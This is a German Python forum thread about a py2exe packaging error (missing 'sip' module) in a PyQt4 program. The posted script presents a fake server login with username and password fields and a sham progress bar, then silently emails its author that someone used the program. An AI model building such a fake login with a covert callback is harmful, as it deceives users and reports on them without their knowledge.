Seite 1 von 1

Py in Exe umwandlung

Verfasst: Sonntag 28. März 2010, 12:12
von coolerj
Hallo,

Ich lasse die Datei(ohne Fehler):

Code: Alles auswählen

from PyQt4 import *
from PyQt4.Qt import *
from gui import Ui_MainWindow
import time
import sys
import smtplib
from email.mime.text import MIMEText 

class main(QMainWindow):
	def __init__(self, parent=None):
		QMainWindow.__init__(self, parent)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		for x in range(1, 24):
			self.ui.listServer.insertItem( x, "Server %s" % (x));
		QObject.connect(self.ui.submitVerbinden,SIGNAL("clicked()"),self.verbinden)
	def verbinden(self):
		if self.ui.lineName.text() != "" and self.ui.linePassword.text() != "":
			i = self.ui.progressBar.value()
			for i in range(1,101):
				self.ui.progressBar.setValue(self.ui.progressBar.value()+1)
				i = self.ui.progressBar.value()
				time.sleep(0.4)
			else:		
				msg = MIMEText("Es hat einer dein Programm benutzt!")
				msg['Subject'] = '****'
				msg['From'] = "****"
				msg['To'] = "****e"
				smtp = smtplib.SMTP('smtp.gmx.de')
				smtp.login("****", "****")
				smtp.sendmail("****", "****", msg.as_string()) 
		elif self.ui.linePassword.text() == "":
			print "Bitte geben sie ihr Passwort an!"
		else:
			print "Bitte geben sie ihr Username an!"
		
app = QApplication(sys.argv)
w = main()
w.show()
app.exec_()
 
Diese wandele ich dann damit

Code: Alles auswählen

from distutils.core import setup
import py2exe

setup(console=['dateiname.py'])
Mit diesen Befehl
setup.py py2exe
Es kommt kein Fehler
Führe ich jetzt die entstandene Exe aus dann kommt da
Traceback (most recent call last):
File "dateiname.py", line 3, in <module>
File "gui.pyc", line 10, in <module>
File "PyQt4\QtCore.pyc", line 12, in <module>
File "PyQt4\QtCore.pyc", line 10, in __load
ImportError: No module named sip
Wenn ihr möchtet kann ich auch noch eine Ordner Struktur geben

Verfasst: Sonntag 28. März 2010, 12:30
von ms4py

Verfasst: Sonntag 28. März 2010, 12:51
von coolerj
Danke geht jetzt so